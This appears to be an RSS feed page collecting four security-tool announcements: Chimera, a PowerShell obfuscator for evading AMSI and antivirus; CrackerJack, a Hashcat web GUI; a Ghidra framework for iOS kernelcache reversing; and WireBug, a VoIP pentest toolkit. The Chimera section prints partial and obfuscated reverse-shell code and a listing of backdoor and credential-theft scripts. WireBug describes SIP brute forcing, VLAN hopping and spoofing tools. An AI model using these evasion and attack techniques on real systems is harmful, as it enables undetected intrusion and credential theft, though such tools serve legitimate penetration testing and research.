Chimera is a (shiny and ver y hack-ish) PowerShellobfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures.


Chimera was created for this write-up and is further evidence of how trivial it is to bypass detection signatures. Hopefully, this repository will inspire someone to build something robust and more reliable.


How Chimera works...

Below is a snippet of Nishang's Invoke-PowerShellTcp.ps1, found at nishang/Shells. VirusTotal reports 25 detections of the PS1 script.

$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)



And here it is again, after Chimera. VirusTotal reports 0 detections of the obfuscated version.

  # Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE."$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS"()
# As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.
[bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}
# Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.

# Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.
# Heeding B en’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.
# Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.
$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII)."$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm"("WInDows Powershell rUnnInG As User " + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + " on " + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + "`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n")
# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.
$xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)
# An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.



Chimera does several things to obfuscate the source. The transformer function will separate strings into multiple pieces and reconstruct them as new variables.

For example, it will take a string like ... New-Object System.Net.Sockets.TCPClient ... and convert it to:

$a = "Syste"
$b = "m.Net.Soc"
$c = "kets.TCP"
$d = "Client"

... New-Object $a$b$c$d ...

The function separates commonly flagged data types and strings into several chunks. It defines the chunks and concatenates them at the top of the script. A higher --level will result in smaller chunks and more variables.

$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = "`m"
$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = "t`Rea"
$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = "Get`s"
$GdavWoszHwDVJmpYwqEweQsIAz = "ti`ON"
$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = "`L`O`Ca"
$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = "`Get`-"
$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = "`i"
$tJdNeNXdANBemQKeUjylmlObtYp = "`AsC`i"
$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = "`G"
$PXIuUKzhMNDUYGZKqftvpAiQ = "t`R`iN

Usage

Clone the repository. Tested in Kali v2020.3.

sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help

Basic usage.

./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p

Review the usage guide and write-up for more examples and screenshots.


Shells

In the shells/ directory are several Nishang scripts and a few generic ones. All have been tested and should work fine. But there's no telling how untested scripts will reproduce with Chimera...

Change the hardcoded IP addresses.

sed -i 's/192.168.56.101/<YOUR-IP-ADDRESS>/g' shells/*.ps1
ls -laR shells/

shells/:
total 60
-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 734 Aug 29 22:02 generic3.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc
-rwxrwx--- 1 tokyoneon tokyoneon 616 Aug 29 22:02 powershell_reverse_shell.ps1

shells/misc:
total 36
-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Informat ion.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1

Resources

CrackerJack - Web GUI for Hashcat

$
0
0


Web Interface for Hashcat by Context Information Security


Demo / Start Cracking in Under 5 Minutes



Introduction

CrackerJack is a Web GUI for Hashcat developed in Python.


Architecture

This project aims to keep the GUI and Hashcat independent. In a nutshell, here's how it works:

  • User uploads hashes, selects wordlist/rules/mask etc, and clicks "start".
  • Web server spawns a new screen.
    • Generates the hashcat command based on the settings.
    • Runs the command in the screen.
    • Monitors the screen's output, parses it, and displays in the GUI.

This allows CrackerJack to be future-proof as it ties to the input/output of Hashcat. Also, if the GUI is not working for whatever reason, hashcat will keep running.


Features
  • Minimal dependencies
  • Complete hashcat session management.
    • Start/stop/pause/restore running sessions.
    • Terminate cracking jobs after a specific date/time.
  • Web interface for mask generation (?a?l?u).
  • Web Push notifications when a password is cracked.
  • Swagger 2.0 API.
  • Create wordlists from already cracked passwords and feed back into the cracking session.
  • Session history to track which attacks you have already performed.
  • Multi-user support (local and/or LDAP).
  • Wordlist/Mask/Rule support.
  • Multiple theme support (Bootswatch).
  • Straight-forward setup.
    • Entire configuration is via the GUI. No need for manually editing config files.
    • Run locally on Linux and Windows (WSL).
    • Install on a server using ansible scripts (Ubuntu 14/16/18 and CentOS 7/8).
    • Easy backups - all user data are in the ./data directory.
  • Troubleshoot sessions via SSH.

Limitations
  • Not a solution for queueing jobs - it's only for on-demand password cracking.
  • Not meant to be a replacement for command-line usage. It's complimentary and only supports basic and most common cracking tasks.
  • Will not install any GPU drivers. The main assumption is that you have a cracking rig already setup and are looking for a Web GUI.
  • Wordlists and rules should already be present on the system.

Contribution

As we maintain an internal tracker as well, before contributing please create an issue to discuss before implementing any features/changes.


Screenshots

Running Session



Dashboard



Session



Selecting Hashes

 


HashType Options



Wordlist Selection



Mask Generation



General Session Settings



 


Ghidra_Kernelcache - A Ghidra Framework For iOS Kernelcache Reverse Engineering

$
0
0


This framework is the end product of my experience in reverse engineering iOS kernelcache,I do manually look for vulnerabilities in the kernel and have automated most of the things I really wanted to see in Ghidra to speed up the process of reversing, and this proven to be effective and saves a lot of time. The framework works on iOS 12/13/14 and has been made to the public with the intention to help people to start VR in iOS kernel without the struggle of preparing their own environment, as I believe, this framework ( including the toolset it provides and with some basic knowledge in IOKit) is sufficient to start dealing with the Kernelcache.


The whole framework is written in Python,and can be extended to build tools upon, it provides some basic APIs which you can use in almost any project and save time from reading the verbose manual, you can just read the code in utils/ directory.

Ghidra is good when it comes to analyzing the kernelcache, but like other RE tools, it needs some manual work, ghidra_kernelcache provides a good entry point to fix things at the start and even while doing reverse engineering thus providing a good-looking decompiler output.

There is a similar project done by @_bazad in IDAPro called ida_kernelcache which provides a good entry point for researchers wanting to work with the kernel image in IDA, my framework looks a bit similar to Brandon's work, and goes beyond by providing much more features to make the process of working with the kernelcache a lot easier.

Here are some of the features provided by the framework :

  • iOS kernelcache symbolication.
  • Resolving virtual call references.
  • Auto fixing external method array for both ::externalMethod() and ::getTargetAndMethodForIndex().
  • Applying namespaces to class methods.
  • Symbol name and type propagation over function arguments.
  • Applying function signatures for known kernel functions.
  • Import old structures and classes from old project to a new project.
  • Auto type-casting safeMetacast() return value to the appropriate class object type.

These features are made as a separated tools which can be executed either by key shortcuts or by clicking on their icons in the toolbar.


Installation

Clone the repository :

git clone https://github.com/0x36/ghidra_kernelcache.git $APATH

Go to Windows → Script Manager, click on script Directory , then add $APATH/ghidra_kernelcache to the directory path list.

Go to Windows → Script Manager, in scripts listing, go to iOS→kernel category and check the plugins seen there, they will appear in GHIDRA Toolbar .

in logos/ directory, you can put you own logos for each tool.


iOS kernelcache symbolication

ghidra_kernelcache requires at the first stage iometa (made by @s1guza), a powerful tool providing C++ class information in the kernel binary, the great thing is that it works as a standalone binary, so the output can be imported to your favorite RE framework by just parsing it. My framework takes iometa's output and parses it to symbolicate and fix virtual tables.


Usage

After decompressing the kernel, run the following command :

$ iometa -n -A /tmp/kernel A10-legacy.txt > /tmp/kernel.txt
# if you want also to symbolicate using jtool2
$ jtool2 --analyze /tmp/kernel

Load the kernelcache in Ghidra, DO NOT USE BATCH import , load it as Mach-O image. After the Kernelcache being loaded and auto-analyzed, click on the icon shown in the toolbar or just press Meta-Shift-K, then put the full path of iometa output which is /tmp/kernel.txt in our case.

if you want to use jtool2 symbols, you can run jsymbol.py located iOS→kernel category as well.


Using APIs

Full API examples are in ghidra_kernelcache/kc.py

→ Here are some examples of manipulating class objects :

from utils.helpers import *
from utils.class import *
from utils.iometa import ParseIOMeta

ff = "/Users/mg/ghidra_ios/kernel.txt"
iom = ParseIOMeta(ff)
Obj = iom.getObjects()
kc = kernelCache(Obj)

# symbolicate the kernel
kc.process_all_classes()

# symbolicate the classes under com.apple.iokit.IOSurface bundle
kc.process_classes_for_bundle("com.apple.iokit.IOSurface")

# symbolicate the classes under __kernel__ bundle
kc.process_classes_for_bundle("__kernel__")

# update symbolication, this will not override the class structure, it will only update the virtual table symbol map.
kc.update_classes()

# symbolicate one class: this will also automatically symbolicate all parent classes.
kc.process_class("IOGraphicsAccelerator2")

If you run the script against the whole kernelcache, it may take several minutes to finish, once finished, Ghidra will provide the following :

→ a new category has been added in Bookmark Filter called "iOS":



→ IOKit class virtual tables are added to 'iOS' Bookmark for better and faster class vtable lookup, you can just look for a kext or a class by typing letters,word or kext bundle in the search bar.


 

→ Fixing the virtual table : disassembles/compiles unknown code, fixes namespaces, re-symbolicates the class methods and applies function definition to each method.



→ Creating class namespace and make class methods adhere to it:



→ Creating class structure with the respect of class hierarchy :



→ Creating class vtables, and each method has its own method definition for better decompilation output:


 

Full implementation can be found in utils/class.py.

Here are some screenshots of before/after using the scripts to just give a clear picture :

 



extra_refs.py: Fixing references

extra_refs.py is based on data flow analysis to find all virtual call methods and resolving their implementations automatically, it has the ability to recognize the source data type from the decompiler output and resolve all virtual call references, so the user is able to jump forward/backward directly to/from the implementation without manually looking for it.

The most useful feature provided by extra_refs.py is that it keeps the references updated on each execution, for example, let's say you've changed a variable data type to a class data type, extra_refs.py will automatically recognize the change, and will go recursively on all call sites to resolve their references, and it finishes only when the call site queue is empty.

There are other features provided by extra_refs.py like:

  • It automatically identifies _ptmf2ptf() calls and resolves their call method for both offsets and full function address
  • It identifies the namespace of an unresolved function name (functions which start with "FUN_"), and resolve it by putting the target function into its own namespace.

Implementation

You can find the implementation in utils/references.py, fix_extra_refs() parses the pcodeoperations and looks for CALLIND and CALL opcodes, then gets all involved varnodes on the operation, once a varnode definition is identified, it gets its HighVariable then identifies the class object type of that variable, if the type is unknown it ignores it,otherwise, it takes the class name, looks up its virtual call table,using the offset provided by the varnode, it gets the right virtua l call and puts a reference on the call instruction.


Exposed API:
# The 'address' type is ghidra.program.model.address.GenericAddress, you can ise toAddr(),
# to convert integer or string representation address to GenericAddress
fix_extra_refs(address)

Here is an output example of running extra_refs.py :


 

Note that it successfully resolved IOService::isOpen(), OSArray:getNextIndexOfObject() and IOStream::removeBuffer() virtual calls without any manual modification.

Next, the scripts enters to IOStream::removeBuffer() virtual call, gets the HighVariables of this method then resolves their reference like the current working method and so on.



Auto fixing external method tables

I believe every researcher has some script to deal with this part, as it is the main attack surface of IOKit, doing so manually is a burden, and it must be automated in a way the researcher wants to dig into multiple external method tables.

There are two scripts provided by the ghidra_kernelcache : fix_methodForIndex.py and fix_extMethod.py. You can enable them like the other scripts as shown above.

Usage: Put the cursor in the start of the external method table, run the script, give the target class object type, and the number of selectors. that's all.

Example for IOStreamUserClient::getTargetAndMethodForIndex() :



namespace.py : fix method namespaces

This is a useful script to propagate the class type through all encountered methods. and it's extremely useful for extra_refs.py script, to explore more functions in order to discover and resolve more references.

Usage: Put the cursor in the decompiler output of the wanted function, run the script from the toolbar or press Meta-Shift-N .


Symbol name and type propagation

Still under development, supports basic Pcode operation, but it works in easy cases, better than nothing. I only need to add support for other exotic operations like SUBPIECE ...

If someone wants to help, or wants to start working with low level stuff in Ghidra, this is the opportunity to do so. Implementation can be found in ghidra_kernelcache/propagate.py


Signatures

Parsing C++ header files in Ghidra is not possible, and having kernel function signatures in kernelcache is a good thing, for example, let's say we have added the symbol virtual IOMemoryMap * map(IOOptionBits options = 0 );, Ghidra will automatically re-type the return value into IOMemoryMap pointer automatically for both function definition and function signatures ,and doing so with several symbols will drastically improve the decompilation output.

In order to accomplish this task without any manual modification or using Ghidra C header parser, I've figured out a way to do it, and even better, defining structure and typedef symbols as well.

You can add any C++ symbol into signatures/ directory with the respect of the syntax, and you can find defined function signatures in this directory.

// Defining an instance class method
IOMemoryDescriptor * withPersistentMemoryDescriptor(IOMemoryDescriptor *originalMD);

// Defining a virtual method, it must start with "virtual" keyword
virtual IOMemoryMap * createMappingInTask(task_t intoTask, mach_vm_address_t atAddress, IOOptionBits options, mach_vm_size_t offset = 0, mach_vm_size_t length = 0);

// Defining a structure
struct task_t;

// typedef'ing a type
typedef typedef uint IOOptionBits;

// Lines begining with '//' are ignored

Usage: After symbolicating the kernel, it is highly recommended running the script load_sigatnures.py to load all signatures. As most of the previous tools, run this script by adding it in the toolbar or from the Plugin manager or just press Meta-Shift-S .


Loading old structures:

This script is straight-froward, it imports all structures/classes/typdefs from old project to a new project. It is highly recommended to run the script before symbolicating the kernelcache.

Usage: Open the old and the new Ghidra projects, go to load_structs.py script, put the old program name to src_prog_string variable, and the new one to dst_prog_string variable, then run the script.


safeMetacast():

I will not publish it until Ghidra 9.2 released, I still unable to make it work reliably due some limitation in the Python API provided by Ghidra. But if you are curious and want to see the implementation snippet, you can see it here.


Contribute

If you see the project interesting and want to contribute, just do a PR and I will review it, meanwhile, I would like to see some contribution in the following areas:



WireBug - A Toolset For Voice-over-IP Penetration Testing

$
0
0


WireBug is a tool set for Voice-over-IP penetration testing. It is designed as a wizard which makes it easy to use. The tools are build for single using too, so every tool is its own python or bash program.


Installation

Install the dependencies in requirements.txt and the python dependencies in requirements_python.txt. If you have problems with installation of netfilterqueue, you can build it from source:

pip install -U git+https://github.com/kti/python-netfilterqueue.git

Use the configure.sh script to download and build Cisco Systems' SRTP library.


Tools
  • FullBridge: This is a simple bash script to set up a layer2 bridge with two defined interfaces.
  • BridgeTrap: This script is useful in combination of the FullBridge tool. It will mirror the traffic of the bridge to a defined interface e.g. a raspberry pi with two interfaces for bridging and one as monitoring.
  • DoubleEncapsulation: This python program will craft a double encapsulated ICMP packet and send it to the destination - possible VLAN Hopping.
  • TimeShift: Tool for response to a NTP request in a man-in-the-middle position (also with FullBridge) with a timestamp in the past or future. You can easily check if the client (VoIP Phone) checks the validity of the server certificate (SIPS, H.323s, HTTPS, LDAPS etc.), or simply use it as a DOS Tool.
  • VlanEnum: This bash script creates 802.1Q virtual interfaces with VLAN tagging and waiting for possible DHCP responses. If it was possible to get an IP Address the interface will be staid alive otherwise it will be deleted.
  • SaCLaC: This includes two python programs. One for spoofing fake LLDP-MED packets to getting into VoIP VLAN or trigger a DoS by instruct the client to set a VLAN-Tag and one to analyze CDP Information of a PCAP File.
  • DecodeSRTP: This script makes it easy to use the Cisco Systems' SRTP library for decrypting a SRTP-SDES Stream if the AES-Key was extracted from the signalling part.
  • SIPCraft: This tool is delivered with some basic SIP messages (REGISTER, OPTIONS, INVITE, BYE) but it is also for crafting your own SIP message by using the option "--individual". With this option it is possible to store your SIP content in a simple text file and then spoof it with the sip craft tool. The script supports TCP and UDP.
  • CrackTheSIP: A simple brute force tool for cracking SIP digest authentication by using a word list.
  • ZRTPDowngrade: A Tool to drop ZRTP initiated Packets in a man-in-the-middle position.
  • EvilSTUN: A simple tool for fake STUN responses.
  • SIPFuzz: A tool for SIP fuzzing.
  • SIPEnum: This tool enumerates SIP extensions by a given file.
  • SIPBrute: A tool for online brute force attacks against SIP proxies.
  • RTPFuzz: A tool for fuzzing an injecting random RTP packets (noise) into running streams.

Wizard

The goal of the WireBug tool set is the wizard with tab-completion. This makes it easy to use without knowledge of detailed information about the tool or options. It is recommended to use the tools with the wizard.


Start the Wizard
python wirebug.py

Output
     __      __.__              __________              
/ \ / \__|______ ____\______ \__ __ ____
\ \/\/ / \_ __ \_/ __ \| | _/ | \/ ___\
>>>>>\>>>>>>>>/|>>||>>|>\/\>>>>>/|>>>>|>>>\>>|>>/>/>/>>>>>>>
\__/\ / |__||__| \___ .______ /____/\___ /
\/ \/ \/ /_____/

by Moritz Abrell - SySS GmbH, 2019 - 2020



Follow the wizard to use WireTap.
Use TAB to show possible options.

wizard >

help function
wizard > help

Documented commands (type help <topic>):
========================================
bridge clear doubleencap help timeshift
cdpanalyze decodesrtp exit lldpspoof vlanenum

Sample usage

__ __.__ __________
/ \ / \__|______ ____\______ \__ __ ____
\ \/\/ / \_ __ \_/ __ \| | _/ | \/ ___\
>>>>>\>>>>>>>>/|>>||>>|>\/\>>>>>/|>>>>|>>>\>>|>>/>/>/>>>>>>>
\__/\ / |__||__| \___ .______ /____/\___ /
\/ \/ \/ /_____/

by Moritz Abrell - SySS GmbH, 2019



Follow the wizard to use WireTap.
Use TAB to show possible options.

wizard > lldpspoof

This tool is for spoofing LLDP-MED packets with different vendor specific attributes. It is useful to jump into VoIP VLAN if LLDP-MED is configured

Enter the interface which will be used: enp0s31f6

Enter the vendor <innovaphone> <unify>: innovaphone

Enter the MAC address o f a innovaphone device <00:90:33:XX:XX:XX>: 00:90:33:00:00:01

Enter a device model e.g. <IP222>: IP811

Verbose mode (will capture the possible response and open it in wireshark)? <y> or <n>: y

.
Sent 1 packets.
[+] Packetspoofing success.
[*] Waiting for possible response.
[+] Response recived!

Usage Video



Author

Moritz Abrell, SySS GmbH 2019-2021


Disclaimer

Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only.



Viewing all 5816 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>